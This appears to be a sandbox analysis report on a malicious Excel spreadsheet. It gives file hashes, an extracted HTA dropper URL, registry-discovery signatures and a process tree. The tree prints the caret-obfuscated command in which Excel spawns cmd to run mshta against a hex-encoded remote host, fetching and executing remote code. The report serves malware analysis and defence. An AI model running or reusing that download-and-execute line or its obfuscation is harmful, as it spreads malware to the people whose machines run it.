9d1fb84bbcd977c6ff6a873b6485cf44af7d6562fa046b0b751dd1f6bfb2d31a

General

Target

9d1fb84bbcd977c6ff6a873b6485cf44af7d6562fa046b0b751dd1f6bfb2d31a.xls
Size

141KB
MD5

4c047ff42c8f500cad96e6f884ba0d25
SHA1

5654f7e7f9ba6fa83e372bb1eeafd6f446fd78df
SHA256

9d1fb84bbcd977c6ff6a873b6485cf44af7d6562fa046b0b751dd1f6bfb2d31a
SHA512

eef6aad4076f7698baa848cf32cff46a08125b9e8d06bdb8c3eaa8e886f3da22f3b56096abf16e9c09f34c5bfb43fb0f406aaab96c733574cd0de203716f6ce4

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://0xb907d607/fer/fer.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3236	2756	cmd.exe	EXCEL.EXE

Blocklisted process makes network request 1 IoCs

Processes:

mshta.exe

flow pid process

41 3448 mshta.exe

flow	pid	process
41	3448	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

2756 EXCEL.EXE

Suspicious use of SetWindowsHookEx 13 IoCs

Processes:

EXCEL.EXE

pid	process
2756	EXCEL.EXE
2756	EXCEL.EXE
2756	EXCEL.EXE
2756	EXCEL.EXE
2756	EXCEL.EXE
2756	EXCEL.EXE
2756	EXCEL.EXE
2756	EXCEL.EXE
2756	EXCEL.EXE
2756	EXCEL.EXE
2756	EXCEL.EXE
2756	EXCEL.EXE
2756	EXCEL.EXE

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

EXCEL.EXEcmd.exe

description	pid	process	target process
PID 2756 wrote to memory of 2488	2756	EXCEL.EXE	splwow64.exe
PID 2756 wrote to memory of 2488	2756	EXCEL.EXE	splwow64.exe
PID 2756 wrote to memory of 3236	2756	EXCEL.EXE	cmd.exe
PID 2756 wrote to memory of 3236	2756	EXCEL.EXE	cmd.exe
PID 3236 wrote to memory of 3448	3236	cmd.exe	mshta.exe
PID 3236 wrote to memory of 3448	3236	cmd.exe	mshta.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\9d1fb84bbcd977c6ff6a873b6485cf44af7d6562fa046b0b751dd1f6bfb2d31a.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2756
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:2488
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fer.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:3236
- - C:\Windows\system32\mshta.exe
    mshta http://0xb907d607/fer/fer.html
    3⤵
    - Blocklisted process makes network request
    PID:3448

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/2756-115-0x00007FFFAE560000-0x00007FFFAE570000-memory.dmp

Filesize
64KB

Download
memory/2756-116-0x00007FFFAE560000-0x00007FFFAE570000-memory.dmp

Filesize
64KB

Download
memory/2756-117-0x00007FFFAE560000-0x00007FFFAE570000-memory.dmp

Filesize
64KB

Download
memory/2756-118-0x00007FFFAE560000-0x00007FFFAE570000-memory.dmp

Filesize
64KB

Download
memory/2756-119-0x00007FFFAE560000-0x00007FFFAE570000-memory.dmp

Filesize
64KB

Download
memory/2756-128-0x00007FFFAB270000-0x00007FFFAB280000-memory.dmp

Filesize
64KB

Download
memory/2756-129-0x00007FFFAB270000-0x00007FFFAB280000-memory.dmp

Filesize
64KB

Download
memory/2756-572-0x00007FFFAE560000-0x00007FFFAE570000-memory.dmp

Filesize
64KB

Download
memory/2756-573-0x00007FFFAE560000-0x00007FFFAE570000-memory.dmp

Filesize
64KB

Download
memory/2756-574-0x00007FFFAE560000-0x00007FFFAE570000-memory.dmp

Filesize
64KB

Download
memory/2756-575-0x00007FFFAE560000-0x00007FFFAE570000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads